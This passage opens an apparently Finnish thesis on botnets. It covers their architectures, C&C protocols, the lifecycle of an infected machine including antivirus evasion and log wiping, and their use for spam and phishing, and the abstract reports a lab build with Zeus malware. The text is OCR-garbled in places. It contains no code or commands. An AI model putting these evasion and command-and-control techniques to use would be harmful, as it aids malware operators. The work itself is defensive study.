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InsinGoritydn tavoitteena oli tutustua bot-verkkojen teoriaan, niiden teknisiin toteutuksiin
sekéa kaytdnnossa rakentaa bot-verkko. Tyodssa keskityttiin bot-verkkojen haitallisiin kaytto-
tarkoituksiin vaikka bot-verkkoja voidaan kayttaa myos hyodyllisiin tarkoituksiin.

Tyon teoriaosassa selvitetaan bot-verkkojen eri rakenteet seka tyypillisimmat kayttokoh-
teet. Kaytannon testaus toteutettiin rakentamalla bot-verkko asiakaskoneina olleiden Win-
dows XP -kayttojarjestelmélla olevien tietokoneiden seké Linux-kayttojarjestelmalla toimi-
van bot-verkon hallintapalvelimen vélille. Tyodssa asiakaskoneille jaettin Zeus-
haittaohjelma, jonka suorituksen jalkeen asiakaskoneet liittyivat bot-verkon jaseniksi. Ta-
man jalkeen seurattiin asiakaskoneiden toimintaa, kommunikointia hallintapalvelimen
kanssa seka koneiden valittdmia tietoja hallintapalvelimelle.

Tyon tuloksena selvisi, ettd mikali tietokoneessa ei ole erillista ajan tasalla olevaa virustor-
juntasovellusta, tydssa esitelty haittaohjelma tartuttaa tietokoneen lahes huomaamatto-
masti. Tartunnan jalkeen tietokoneella olevat kaikki kayttajan tiedot seka hanen internetiin
syottamat tiedot ovat vaarassa joutua bot-verkon yllapitdjan haltuun. Internetiin syotetyt
kirjautumis- seka muut tiedot valittyvat selkokielisena bot-verkon yllapitajalle huolimatta
siitd, etta kayttajalla olisi suojattu yhteys palveluntarjoajaan.

TyoOssa testattiin myds online-virustorjuntapalveluiden ajamista asiakaskoneissa haittaoh-
jelman tartunnan jalkeen. Tarkistuksen tuloksena selvisi ettd F-Securen online-tarkistus ei
I6ytanyt haittaohjelmaa asiakaskoneesta, muiden testattujen palveluiden tunnistettua hait-
taohjelman onnistuneesti.

Yleisena tuloksena myods tdman tydn perusteella voidaan todeta, etta on tarkeaa pitaa tie-
tokoneiden tietoturvasta vastaavat kayttojarjestelmapaivitykset seké sovellukset ajan tasal-
la. Tyossa ilmeni myds se, etta erillisen virustorjuntasovelluksen asentaminen tietokonei-
siin on suositeltavaa.

Avainsanat Bot-verkko, bot, Zeus, haittaohjelma
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The objective of the project described in this thesis was to study botnets in theory, their
technical implementations and to build a botnet in practice. This thesis concentrates on
malicious uses of botnets although botnets can be used also for beneficial purposes.

The theoretical section of this thesis introduces different technical implementations and
typical malicious uses of botnets. In practice, a botnet was built using client workstations
with the Windows XP operating system and the botnet's command and control server with
the Linux operating system. Malware called Zeus was distributed to workstations, and after
it was executed, workstations became members of the botnet. After the infection of the
workstations, their operations, communication between the command and control server
and data workstations provided were monitored.

As a result it was noticed that if a workstation does not have antivirus software installed,
the malware introduced in this thesis infects the workstation almost without noticing. After
infection all of the data stored on the user's workstation and the information the user pro-
vides via the internet is in danger of being delivered to the botnet administrator. The user's
login and other information provided via the internet are forwarded to the botnet adminis-
trator despite the user having a secure connection to the service provider.

In the project described in this thesis also online antivirus tools were tested after the client
workstations were infected. Scanning results indicated that the online antivirus tool of F-
Secure did not find malware while other tested online tools found malware successfully.

Based on this thesis it can be said that it is important to keep the operating system and
other software up to date and to install security updates. Installing standalone antivirus
software is also recommended.

Keywords botnet, bot, Zeus, malware
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Lyhenteet

BOT Lyhenne sanasta robot. Tassé tydssa tarkoittaa bot-verkon asiakaskonet-
ta.

C&C Command & Control. Bot-verkon hallintapalvelin.

DHCP Dynamic host configuration protocol. Verkkoprotokolla, jonka tehtava on

jakaa verkko-osoite verkkoon kytkeytyville paatelaitteille.

DDOS Distributed denial of service. Hajautettu palvelunestohyodkkays, jossa pal-
veluun kohdistetaan useasta lahteestd suuri maara liikennettd palvelun

toiminnan lamauttamiseksi.

DNS Domain name system. Nimipalvelujarjestelmd, jonka tehtdvda on muuttaa

selkokieliset internet osoitteet IP osoitteiksi.

FTP File transfer protocol. Asiakas-palvelinperiaatteella toimiva tiedonsiirtopro-
tokolla.
HTML Hypertext markup language. Kuvauskieli, jolla voidaan rakentaa hyper-

linkkeja sisaltavaa tekstid. Tunnetaan erityisesti internet-sivujen kuvaus-

kielena.

HTTP Hypertext transfer protocol. Tiedonsiirtoprotokolla, jonka yleisin kaytto-
kohde on internetin selaimen (asiakas) ja palvelimen (palvelin) valisessa

liikenteessa.

HTTPS Hypertext transfer protocol secure. HTTP-protokollan suojattu versio, jos-

sa kaytetdan HTTP- ja SSL-protokollan yhdistelmaa.

IP Internet protocol. Tietolikenneprotokolla, jonka tehtava on ip-
tietolikennepakettien  toimittaminen  pdaatelaitteille  annettujen ip-

osoitteiden perusteella.

IRC Internet relay chat. Pikaviestipalvelu, joka mahdollistaa reaaliaikaisen

keskustelun internetin valityksella.
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JAVA Ohjelmistoalusta, johon kuuluu mm. laitteistoriippumaton ohjelmointikieli.

MYSQL Relaatiotietokantaohjelmisto. Avoimeen lahdekoodiin perustuva tietokan-

taohjelmisto.

NAT Network address translation. Osoitteenmuunnostekniikka, joka mahdollis-

taa usean laitteen kayttdmisen yhdella ulkoisella ip-osoitteella.

P2P Peer to peer. Vertaisverkko, jossa toimiva paatelaite toimii seka palveli-

mena etta asiakkaana verkon muille paatelaitteille.

PDF Portable document format. Adoben kehittdmé ohjelmistoriippumaton tie-

dostomuoto, jota kaytetaan yleisimmin séhkdisissa julkaisuissa.

PHP Php: Hypertext Preprocessor. Ohjelmointikieli, joka yleisimmin tunnetaan

palvelinpohjaisten dynaamisten internet-sivujen luomisesta.

RC4 Ron’s code 4, Rivest cipher 4. Symmetrinen salausalgoritmi, joka salaa

tiedon tavu kerrallaan.

SOCKS Socket secure. Internetprotokolla, jota kaytetd&n asiakas-palvelin yhteyk-

sissé pakettien reitittémiseen valityspalvelimen kautta.

SSL Secure sockets layer. Salausprotokolla, jota kaytetddn mm. internet -

likenteen salaukseen http-protokollan kanssa.

UPNP Universal plug and play. Ryhma verkkoprotokollia, jotka sallivat verkossa
olevien paatelaitteiden havaita toisensa sek& muodostaa yhteyksia toi-

siinsa.

XAMPP Avoimen lAhdekoodin ohjelmistopaketti, joka siséltdd Apache http-
palvelimen, MySQL-tietokantaohjelmiston sekd tuen PHP ja PERL-
ohjelmointikielille.
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1 Johdanto

Internet luo rikollisille houkuttelevan mahdollisuuden rikosten suorittamiseen palvelui-
den siirryttyd ja yha siirtyesséa enenevissa maarin tietoverkkojen avulla suoritettaviksi.
Tietoverkkojen avulla rikolliset tavoittavat helposti ja pienin kustannuksin moninkertai-
sen maaran mahdollisia rikoksen kohteita verrattuna perinteiseen rikollisuuteen. Tyypil-
lisia tietoverkoissa esiintyvia, taloudellista hyétya tavoittelevia, rikoksia ovat erilaiset
huijaukset, kayttajien henkilokohtaisten tietojen kaappaaminen seka rikokset suoraan
kayttajaa ja kayttajan verkkopankkia kohtaan. Tietoverkkojen kayton laajentuessa kos-
kemaan suurta osaa vaestdd, ei maantieteellisia rajoja rikosten kohteille mydskaan ole.
Osaavalle tietoverkkojen kayttajalle myos rikoksen jalkien peittely tai jalkien vaarenta-

minen on suhteellisen helppoa.

Huolimatta siitd, ettd kayttdjien tietoisuus mahdollisista tietoverkkojen riskeista on li-
saantynyt, MTV uutisoi 28.11.2013 verkkosivuillaan, ettd vuonna 2012 suomalaisilta
tileiltd varastettiin onnistuneesti noin 800 000 euroa verkkorikosten avulla [1]. Haittaoh-
jelmat kehittyvat yha monimutkaisemmiksi ja vaikeammiksi havaita, seka tavallisille

kayttajille etta myos tietoturvapalveluita tarjoaville yrityksille ja heid&n sovelluksilleen.

Bot-verkot ovat laajoja etéhallittavia tietokoneiden verkostoja. Termi bot on lyhenne
sanasta robot. Haittaohjelmalla saastutettua konetta kutsutaan bot-asiakaskoneeksi,
muita kaytettyja termejad ovat mm. zombie-kone. Bot-verkon haltija kayttaa tallaista ko-
netta erilaisten automaattisten tehtévien suorittamiseen ilman tietokoneen todellisen

kayttajan tietoa tai suostumusta.

Bot-verkkoja voidaan kayttdd seké hyvantahtoisiin etta haitallisiin ja rikollisiin kayttotar-
koituksiin. Kuten monet muutkin keksinnét, myds bot-sovellukset olivat alun perin hy6-
dyllisiin tarkoitusperiin kehitettyjd. Ensimmaéaisena bot-sovelluksena pidetdan 1980 -
luvun loppupuolella IRC-istuntoihin kehitettyja bot-sovelluksia, jotka emuloivat todellisia

kayttajia yllapitaakseen IRC-kanavaa ja IRC-istuntoja kayttajien poissa ollessa.

Julkisuudessa bot-verkot yhdistetdan yleensa rikollisiin kayttétarkoituksiin, joihin myds
tdssa tyossa keskityn. Bot -verkkojen toiminnassa verkon yllapitajan paatavoite on
yleensa taloudellisen hy6dyn tavoittelu, tosin bot-verkko mahdollistaa my6s muunlaiset

rikokset kuten esimerkiksi laittoman materiaalin jakamisen, mutta tassa tydssa keskityn



taloudelliseen puoleen. Viime aikoina julkisuudessa ovatkin olleet bot-verkot, joilla pyri-
tdadn kaappaamaan kayttdjien henkilokohtaisia tietoja seka vaikuttamaan kayttajien

verkkopankki-istuntoihin taloudellisen hyddyn saavuttamiseksi.

Taman tyon tarkoituksena tutkia bot-verkkojen teoriaa, esitella niiden kayttétapoja ja
kayttokohteita erityisesti haitallisiin kayttotarkoituksiin liittyen. Liséksi tarkoituksena on
kaytdnnodssa perustaa bot-verkko ja testata sen toimintaa hallintapalvelimen ja asia-

kaskoneiden nakdkulmasta.

2 Bot-verkkojen tekniset ratkaisut

2.1 Bot-verkon rakenne

Perinteiset bot-verkot koostuvat asiakaskoneista (bot) sekd yhdesta tai useammasta
Command and Control (C&C) -palvelimesta, joilla bot-koneita hallitaan ja yllapidetaan.
Bot-verkot jaotellaan yleisesti keskitetyksi tai hajautetuksi verkoksi, tosin bot-verkkoja
voidaan jaotella my6s yhteysprotokollan mukaan. Hajautetuissa bot-verkoissa asiakas-

koneet voivat toimia seka hallintapalvelimina etté asiakaskoneina.

2.1.1 Keskitetty bot-verkko

Keskitetyt bot-verkot ovat yleisimmin tunnettuja ja myds eniten tutkittuja. Monet en-
simmaisista ja yleisimmistéa bot-verkoista kayttivat IRC-palvelimia keskitettyina hallinta-
palvelimina, mutta nykyaén yleisemmin on kaytdssd muita yhteysprotokollia kuten
normaalin internet likenteen kaytdssa oleva HTTP-protokolla, sen salattu versio
HTTPS-protokolla sekd myos vertaisverkkoliikenteesta tunnettu P2P (peer-to-peer)-
protokolla. Keskitetyn bot-verkon heikkous on sen perustuminen yhteen keskitettyyn
hallintapalvelimeen. Hallintapalvelimen I0ytyminen ja verkosta poistaminen riittaa es-
tamaan kyseisen verkon toiminnan. Palvelimen poistaminen ei kuitenkaan poista asia-
kaskoneilla siella olevia haittaohjelmia mutta mikali haittaohjelmissa on ohjelmoituna
yksi tietty hallintapalvelin ja sen osoite, estyy verkon toiminta poistamalla palvelin ver-
kosta. [2.]



Taman estamiseksi bot-verkon yllapitdja voi myos kayttaa tiettyja DNS-palveluita, jois-
sa palvelimen ip-osoite saadaan nopeasti vaihdettua ja yhteys asiakaskoneisiin palau-
tettua, mikali yksi palvelin putoaa verkosta pois. Kuvassa 1 on esitetty perinteinen yh-

den hallintapalvelimen (C&C-palvelin) piirissa toimiva bot-verkko.

O—f
Bot -verkon CEC -
hallitsija palvelin

Bot - asiakaskoneet

Kuva 1. Keskitetty bot-verkko.

Bot-verkko voidaan rakentaa myos niin ettd hallintapalvelimia on useita. Talléin yhden
palvelimen putoaminen verkosta pois ei lamauta koko verkkoa. Tallaisen verkon raken-
taminen on kuitenkin haastavampaa ja vaatii enemman suunnitelmallisuutta kuin yh-
teen palvelimeen perustuva bot-verkko. Mikali bot-verkko jakaantuu usealle eri mante-
reelle, voi hallintapalvelimet myds jakaa maantieteellisesti lAhemmaés asiakaskoneita,
jolloin yhteydetkin palvelimen ja asiakaskoneen valilla ovat nopeammat. [3.] Kuvassa 2

on esitetty periaatekuva useamman hallintapalvelimen bot-verkosta.
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Kuva 2. Usean hallintapalvelimen bot-verkko

Useampaan hallintapalvelimeen perustuu myos bot-verkoissa yleisesti kaytdssa oleva
ns. fast flux-tekniikka, jossa yhteen domain-nimeen on liitetty useita eri ip-osoitteita.
Tekniikkaa kaytetdaan siten, ettd DNS-palvelussa vaihdellaan nopeasti nimeen liitettya
ip-osoitetta. Bot-verkon asiakaskoneilla on tieto pelkastaan domain-nimesta, johon ko-
neet ottavat yhteytta. Talléin yhden ip-osoitteen perusteella poistetun palvelimen ver-
kosta poistuminen ei lamauta koko verkkoa, vaan domain-nimeen liitetyn ip-osoitteen
muututtua toimivaan palvelimeen, on verkko taas toimintakykyinen. Kuvassa 3 esite-
taan, miten bot-verkon asiakaskoneet ottavat yhteytta hallintapalvelimeen palvelin.com
osoitteella, joka voi ohjautua mihin tahansa domain-nimen takana olevasta useasta ip-

osoitteesta.



192.168.0.1

P
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192.168.0.20

palvelin.com

192.168.0.40

192.168.0.60
Bot - asiakaskoneet

Kuva 3. Fast flux periaate.

2.1.2 Hajautettu bot-verkko

Hajautetussa bot-verkossa kaytetaan yleisesti vertaisverkoista tunnettua P2P (peer-to-
peer)-protokollaa. Hajautetuissa verkoissa bot-verkon asiakaskoneet kommunikoivat
kesken&an vertaisverkon tavoin yhden keskitetyn hallintapalvelimen sijaan. Voidaankin
sanoa, etta asiakaskoneet vertaisverkossa toimivat sekd hallintapalvelimina ettad asia-
kaskoneina. Verkko toimii siten, ettd asiakaskoneet lahettavat toisilleen verkon hallitsi-
jan valittamat komennot, joten verkon hallitsijalla tulee olla paasy ainoastaan yhdelle
bot-verkon koneelle hallitakseen koko verkkoa. Komentojen jakaminen on toteutettu
siten, etta jokaisella asiakaskoneella on lista kyseisen koneen bot-verkkoon kuuluvista
naapurikoneista, joille asiakaskone vdlittéa saamansa komennot. Nama asiakaskoneet
taas valittavat vastaanottamansa komennot omille naapureilleen jne., kunnes uudet
komennot ovat vélitetty kaikille verkon koneille. Kuvassa 4 on esitetty hajautun P2P-

verkossa toimivan bot-verkon periaate.[4.]



Bot -werkon
hallitsija

Bot -verkon asiakaskoneet

Kuva 4. Hajautettu bot-verkko.

Hajautetun bot-verkon perustaminen alkaa asiakaskoneiden hankkimisella. Asiakasko-
neiden hankkiminen tapahtuu kuten muissa bot-verkoissa, haittaohjelman jakamisella
asiakaskoneille. Mikali asiakaskoneet hankitaan jo olemassa olevasta P2P-verkosta,
asiakaskoneet voivat kommunikoivat bot-verkossa kayttaen kyseistd P2P-protokollaa.
Mikéali taas asiakaskoneet ovat hankittu P2P-verkon ulkopuolelta, taytyy asiakaskoneel-
le valittda tieto P2P-verkon protokollasta seké verkossa jo olevista asiakaskoneista.
Tieto naista asiakaskoneista voidaan valittaa joko ohjelmoituna haittaohjelman koodiin
tai valittamalla haittaohjelmassa verkko-osoite, josta asiakaskone noutaa muiden bot-
verkon asiakaskoneiden tiedot. Yleisesti kaytossa olevien P2P-protokollien kayttd on
bot-verkon hallinnassa on varmempaa, koska nama protokollat ovat yleensa jo testattu

toimiviksi.

P2P-verkossa kaskyjen jakaminen bot-koneille voi tapahtua joko pull- tai push meka-
nismin avulla. Pull mekanismi viittaa perinteiseen bot-verkkoon, jossa asiakaskoneet
kysyvat tietyin aikavalein verkon muilta koneilta suoritettavia komentoja. Perinteisessa

bot-verkossa tama tapahtuu kysymalla tietoja hallintapalvelimelta.



Pull-mekanismi voi tapahtua vertaisverkossa normaalistikin tapahtuvan tiedostohaun
mukana. Asiakaskoneille jaetussa haittaohjelmassa on bot-verkon yllapitajan sisallyt-
tama hakuparametri, jota asiakaskoneet hakevat yllapitdjdn maarittdmin aikavalein
kyseisesta vertaisverkosta. Verrattuna normaaliin vertaisverkkojen tiedostojen jakami-
seen, yllapitdja jakaa tiedostojen sijaan suoritettavia komentoja ja tehtavia asiakasko-
neille. Tiedostot voivat sijaita milla tahansa bot-verkon yllapitdjan hallitsemalla asiakas-
koneella, joten keskitettya hallintapalvelinta ei tarvita. Hakuparametrit voivat olla yllapi-
tajan maarittamia tiedostonimia tai esimerkiksi hash arvoja, jotka lasketaan bot-verkon
yllapitdjan maarittaman algoritmin avulla. Nain yllapitaja saa salattua haettavat komen-

not.

Push-mekanismissa asiakaskone taas valittdd itse komentoja eteenpdain. P2P-
verkoissa asiakaskoneet ovat tietoisia toisista saman verkon koneista, mutta ongelma-
na voi olla se, ettéd bot-verkon asiakaskonetta lahella olevat koneet eivat kuulukaan
kyseiseen bot-verkkoon eivatka valitda saamiaan komentoja enda eteenpéin. Tata on-
gelmaa on bot-verkoissa kierretty mm. siten, ettd bot-verkon asiakaskoneet ilmoittavat
vertaisverkkoon etté heilla on jaettavana suosittuja tiedostoja, jotka kuitenkin siséltavat
myoOs tai pelkastdédn bot-verkon yllapitajan asiakaskoneille maarittamia komentoja.
Suositut tiedostot tulevat useammin ladatuiksi ja ndin todenndkodisyys komentojen le-

viamiselle asiakaskoneille kasvaa.

Toinen push-mekanismiin liittyvéa komentojen vélitystapa liittyy siihen mikali asiakasko-
ne on tietoinen ettd vertaisverkon lahella olevissa koneissa on samaan bot-verkkoon
kuuluvia koneita. Talléin asiakaskone voi liittaa vertaisverkkoon lahetettavaan kyselyyn
komentoja, jotka vain toinen samaan verkkoon kuuluva asiakaskone osaa tulkita oikein

ja valittdd taas komentoja eteenpain. [5.]

2.1.3 Yhteysprotokollaan perustuva jaottelu

Toinen tapa jaotella bot-verkkoja on C&C-palvelimen ja bot-asiakaskoneiden yhteys-
protokollaan perustuva jaottelu. Bot-verkoissa tavattuja yhteysprotokollia ovat mm. seu-

raavat:

e IRC-protokollaan perustuva, jossa asiakaskoneet ilmoittautuvat tietylle IRC-

palvelimelle ja tietylle IRC-kanavalle, jonka kautta asiakaskoneita ohjataan.



IRC-protokollan kautta muodostettu bot-verkko oli yksi ensimmaisista ja aiem-

min yleisin kaytdssa ollut protokolla.

e Internet pohjainen bot-verkko, jossa asiakaskoneet ilmoittautuvat HTTP- tai
HTTPS-protokollan avulla C&C-palvelimelle. HTTPS-protokollan avulla saavu-
tetaan salattu likenne asiakaskoneen ja palvelimen vélille. Internetiin perustu-
vat bot-verkot ovat nykyaan suosittuja, koska ne ovat yleensa suhteellisen
helppo perustaa ja asiakaskoneiden hallinta web-kéayttliittyméan avulla on

helppoa.

e Pikaviestipalveluihin perustuvat bot-verkot. Periaate on sama kuin IRC-
pohjaisissa bot-verkoissa, joissa yhteys muodostetaan tietylle palvelimelle ja
tietylle kanavalle. Kaytettyja pikaviestipalveluita ovat olleet mm. Microsoftin
MSN, ICQ ja America Onlinen AOL palvelu. Pikaviestipalveluihin perustuvissa
bot-verkoissa vaikeutena on se, etté jokaisella asiakaskoneella tulee olla oma
erillinen tunnus pikaviestipalveluun liittyakseen. Taman ovat palveluntarjoajat
ottaneet huomioon siten, ettéa automaattinen rekisterdityminen palveluun on es-

tetty tai tehty mahdollisimman vaikeaksi.

e Bot-verkon oma protokolla. Osalla bot-verkoilla on kehitetty tdysin oma yhteys-

protokolla, jonka kautta asiakaskoneet ja hallintapalvelin pitavét yhteytta. [4.]

2.2 Bot-asiakaskoneen elinkaari

Bot-verkkojen kehittyminen ja synty noudattaa yleista kehityskaarta. Kuvassa 5 esitel-

laan tdma kehityskaari.



1.
Asiakaskoneelle
murtautuminen

2.
Imuoittautuminen
C&C -palvelimelle

3.
Toiminnan
turvaaminen

4,
Kaskyien
odottaminen

!

7. 3.
Tulasten Suoritettavan
raportointi moduulin noutaminen

.
Moduulin
suorittaminen

8.
Todisteiden
havittdminen ja asiakaskoneelta
poistuminen

Kuva 5. Bot -asiakaskoneen elinkaari. [6.]

1. Asiakaskoneelle murtautuminen

Bot-verkon ja bot-asiakaskoneen synty alkaa asiakaskoneen hyvéksikayt6lla, jolloin
koneen kayttdja saadaan suorittamaan haitallista koodia siséltéava tiedosto tai sovellus.
Yleisimmin kaytetyt keinot ovat hyokkdys paikkaamattomia tietoturvahaavoittuvuuksia
vastaan, suora yritys murtaa kayttajan salasana joko bruteforce tekniikalla tai salasa-
naa arvailemalla. Useasti tahan vaiheeseen liittyy myos sosiaalisen hakkeroinnin tek-

niikat, joilla kayttaja suostutellaan haitallisen koodin suorittamiseen.
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Hyokkéays paikkaamattomia tietoturvahaavoittuvuuksia vastaan voidaan suorittaa esi-
merkiksi lahettamalla kayttajalle sdhkodpostin valitykselld liitetiedosto, joka sisaltdd hy-
vaksikayttokoodin. Liitetiedosto voi olla esimerkiksi tavalliselta pdf-dokumentilta naytta-
va tiedosto, jota avatessa haittaohjelma asentuu kayttajan koneelle. Sahkopostin lahet-
tajatiedot voidaan vaarentda kayttajan luottamuksen saavuttamiseksi tai mikali bot-
verkko on jo syntynyt, haittaohjelma voidaan valittad aiemmin murretusta asiakasko-
neesta ja sahkoposti nayttda tulevan kyseisen koneen kayttajalta. Mita luotettavammal-
ta taholta sahkoposti nayttaa tulevan, sitd varmemmin kayttdja avaa sahkopostin mu-
kana tulleen liitetiedoston. Viime aikoina suuren suosion ovat saavuttaneet varsinkin
java teknologiaan liittyvéat haavoittuvuudet, joihin on my6s julkaistu monia hyvaksikayt-

tokoodeja.

Toinen yleinen tapa hyokata tietoturva-aukkoja vastaan on valittdd kayttajalle internet
osoite, jossa vieraillessaan kayttdja saa tietokoneelleen haittaohjelman. Tama voi ta-
pahtua joko kayttajan itse sivuilla suorittamana sovelluksena tai sivuston pyytdmana
lisdosan asennuksena tai huomaamattomana ns. drive-by-tartuntana, jolloin tartunta

tapahtuu ilman, ettd kayttdjan tarvitsee itse suorittaa tai asentaa mitaan.

2. Asiakaskoneen ilmoittautuminen C&C-palvelimelle

Asiakaskoneelle paasyn jalkeen bot-asiakaskone ilmoittautuu hallintapalvelimelle. Yh-
teys palvelimelle voi olla salattu tai vaatia erillisid tunnistetietoja. Ensimmaisella yh-
teyskerralla asiakaskone voi my6s ladata palvelimelta erilaisia paivityksia, kuten esi-
merkiksi muita haitta- ja vakoiluohjelmia seka péivitettyja hallintapalvelimen tai hallin-

tapalvelimien tietoja.

3. Bot-ohjelmiston toiminnan turvaaminen asiakaskoneella

Yksi ensimmaisista ja yleisistd toimenpiteistd mink& bot-ohjelmisto tekee, on virustor-
junnalta piiloutuminen. Tahan on monia eri kaytantoja, osa bot-ohjelmistoista yrittaa
sulkea koko virustorjuntaohjelmiston, mutta nykyiset kayttojarjestelmét osaavat tasta
varoittaa mikali virustorjunta puuttuu tai se suljetaan. Osa haittaohjelmista voi yrittda
ajaa erityista dll-tiedostoa, joka rajoittaa virustorjuntaohjelmiston toimintaa. Talléin vi-
rustorjunta nayttaa ulospain olevan kaynnissa mutta se ei reagoi bot-ohjelmistoon liitty-

viin tiedostoihin. Yksi yleisista tavoista on myds muuttaa tytaseman hosts-tiedostoa
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siten, ettd virustorjuntasovelluksen paivittaminen ei onnistu tai paivitysyritys ohjaa

pyynnodn hyokkaajan hallitsemaan verkkopalvelimeen.

Yh& useammin bot-ohjelmisto pyrkii piilloutumaan kayttamalla rootkit-tekniikka, joka
vaikeuttaa haittaohjelman loytamista entisestdan. Rootkit-tekniikassa haittaohjelma voi
sulautua ja piiloutua esimerkiksi kdynnissa olevaan sovellukseen tai prosessiin, jolloin
sen havaitseminen on vaikeaa. Jotkin bot-ohjelmistot myds tarkistavat asiakaskoneen

ettei koneelle ole jo asentunut jokin muu haittaohjelma.

Tassa vaiheessa on myos tavallista ettd asiakaskoneen laitteistotiedot lahetetdan C&C
-palvelimelle. Naita tietoja ovat mm. levyasemien koko, prosessori ja sen nopeus,
muistin maara, kayttajatiedot seké asiakaskoneen kayttaman verkkoyhteyden nopeus.
Naiden tietojen avulla verkon haltija voi jaotella asiakaskoneet tarpeidensa mukaan

seka koneilla suoritettavia tehtavia silmalla pitaen. [6.]

4., 5., 6. Kaskyjen odottaminen C&C-palvelimelta, moduulien noutaminen ja niiden suo-

rittaminen

Kun bot-ohjelmiston toiminta on saatu turvattua ja yhteys C&C-palvelimelle on kaytds-
sa asiakaskone jaa odottamaan suoritettavia tehtavia. Bot-verkoilla suoritettavia tehté-
via kasitellaan tarkemmin luvussa 3.

7. Tulosten raportointi C&C-palvelimelle suorituksen jalkeen

Annettujen tehtavien suorituksen jalkeen asiakaskoneet raportoivat hallintapalvelimelle
onko tehtavat suoritettu onnistuneesti sekd mahdollisesti muita méaaritettyja tietoja, joi-
den avulla verkon haltija saa tiedon miten onnistunut tehtdva on ollut. Raportoinnin
jalkeen asiakaskoneet palautuvat odottamaan seuraavia ohjeita, mikali tehtavaa suorit-
taessaan ne eivat ole paljastuneet ja haittaohjelmaa saatu koneelta poistettua tai ko-

netta ei ole kytketty verkosta irti.
8. Todisteiden havittaminen asiakaskoneelta ja koneelta poistuminen
Mikali asiakaskone kay bot-verkolle ja verkon yllapitajalle tarpeettomaksi, voi asiakas-

koneen poistaa bot-verkosta poistamalla koneella olevan bot- sekd muut koneelle

asennetut haittaohjelmistot. Asiakaskone voi kayda tarpeettomaksi, mikali esimerkiksi
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sen resurssit eivat riitd enda toimintojen suorittamiseen tai bot-verkon yllapitaja huo-
maa etté asiakaskoneella oleva haittaohjelmisto on paljastunut kayttajalle. Ohjelmisto-
jen ja todisteiden poistamiseen bot-verkkojen yllapitdjilla on yleensa valmiit tydkalut,
joiden avulla tarvittavat toiminnot voidaan suorittaa nopeasti. Todisteiden poistaminen
koneelta tarkoittaa tarvittavien lokitiedostojen poistamista esimerkiksi bot-ohjelmiston

toiminta-ajalta tai pelkastaan tiettyjen toimintojen poistamista lokitiedostoista. [6.]

3 Bot-verkkojen kayttokohteet

Bot-verkkoja voidaan kayttaa seka hyvantahtoisiin ettd pahantahtoisiin kayttétarkoituk-
siin. Sanalla bot tarkoitetaankin tdssa yhteydessa yleensa sovellusta, joka suorittaa
automaattisesti ja itsendisesti erilaisia tehtavid. Yksi esimerkki hyvantahtoisista bot-
tehtavista on hakukoneiden internet-botit, jotka indeksoivat internet-sivuja hakukonei-
den toiminnan parantamiseksi ja haluttujen internet-sivujen loytamiseksi. Toinen ylei-
nen esimerkki hyvantahtoisesta bot-verkosta on SETI@HOME-projekti, jossa kayttajat
asentavat vapaaehtoisesti tietokoneelleen botin, joka analysoi radioteleskooppidataa
maapallon ulkopuolisen alykkaan elaman loytamiseksi. Tassa tydssa keskityn tarkem-
min bot-verkkojen pahantahtoisiin kayttotarkoituksiin, joista esitellaan seuraavaksi

olennaisimmat. [6.]

Roskapostitus

Roskapostilla tarkoitetaan séhkdpostin yhtd aikaista lahettdmista suurelle ryhmalle
sahkopostin kayttajia. Roskapostin avulla suoritettuja yleisia rikoksia ovat mm. erilaiset
petokset, jotka voivat liittya esimerkiksi vaarennettyjen laakkeiden myyntiin tai erilaisiin
keksittyihin pyyntoihin, joihin yleensa liittyy uhrin houkuttelu pikaiseen rikastumiseen.
Tallaisia ovat mm. perinteiset nigerialaiskirjeet, joissa kayttdjaa pyydetaan auttamaan
esimerkiksi suuren rahasumman siirtdmisessa. Naihin liittyy yleensa kayttajalta vaadit-
tava maksu erilaisiin kuluihin, mm. pankkikuluihin, todistusten hankkimiseen, virkamie-
hien lahjomiseen jne. Rikollisten kannalta roskapostituksen tekee houkuttelevaksi se,
ettd postitus on halpaa, sitd on vaikea jaljittaa ja silla tavoittaa hyvin suuren maaran
kayttajia. [7.]

Bot-verkoissa roskapostitukseen kaytetddn yleensda SOCKS-protokollaa. Hyokkaaja

asentaa uhrikoneelle SOCKS-vélityspalvelimen, jonka kautta voidaan valittdd SMTP-
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komentoja sahkopostipalvelimelle. Mikéli uhrikoneen ip-osoite vaihtuu sdanndllisesti,
esimerkiksi aina uudelleen kaynnistyksen yhteydessa tai muuten DHCP-mé&éritysten

mukaan, on palveluntarjoajan vaikea estéaa roskapostin lahetys téllaiselta koneelta.

Toinen yleinen vaihtoehto bot-verkoissa kaytettavalle roskapostitukselle on kdénteinen
versio edellisestd, jossa uhrikone ensin ilmoittautuu ja muodostaa C&C-palvelimelle
kdanteisen SOCKS-vélityspalvelin yhteyden. SMTP-komennot vélitetdan palvelimelta
uhrikoneelle tatd muodostettua tunnelia pitkin. Periaate on sama kuin suorassa yhtey-
dessa, mutta kaanteinen yhteys mahdollistaa uhrikoneiden tavoittamisen myods NAT-
yhdyskaytavan takaa. NAT-yhteyden takana olevat koneet eivat muuten ole yleensa

suoraan tavoitettavissa. [8.]

Taulukossa 1 esitelladn Washingtonin yliopistossa suoritettua bot-verkkojen tutkimusta,
jossa seurattiin verkkojen suorittamaa roskapostitusta [9.]. Kuten taulukosta kay ilmi,

vdlitettyjen viestien maara on valtava.

Taulukko 1. Spam-seuranta [9, s.7].

Aktiiviset paivat Spam -viestien | Spam -viestin ldhetys /
Botnet ] . . C&C - protokolla
seurannan aikana kokonaismaara min
Grum 8 864 316 334 salattu HTTP, portti 80
Kraken 25 5046 803 331 salattu HTTP, portti 80
Pushdo 59 4932 340 289 salattu HTTP, portti 80
Rustock 164 7174 084 33 salattu HTTP, portti 80
Wl D 113 198 799 848 1638 salattu muokattu
ega
& protokolla, portit 80 ja 443
o salaamaton HTTP, portti
Srizhi 51 86 003 889 1848
4099
Storm 50 961 086 20 pakattu TCP

Tietojen kalastelu

Tietojen kalastelulla pyritddn hankkimaan kayttdjien henkilokohtaisia tai taloudellisia
tietoja. Tietojen kalasteluun kaytetddn yleisimmin aidolta nayttavia sahkoposteja, joita

valitetdan roskapostin tavoin ja jotka ohjaavat kayttdjan hyokkaajan sivustolle. Nailla
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sivustoilla pyydetaan kayttdjan henkilokohtaisia tietoja, kuten esimerkiksi luottokortin

tietoja seka kirjautumistietoja eri palveluihin.

Bot-verkon hyddyt tietojen kalastelussa liittyvat useiden mahdollisten uhrien tavoittami-

seen seka hyokkaajan jalkien peittamiseen.

Palvelunestohytkkays

Yksi ensimmaisistd bot-verkkojen kayttétavoista oli palvelunestohytkkayksien suorit-
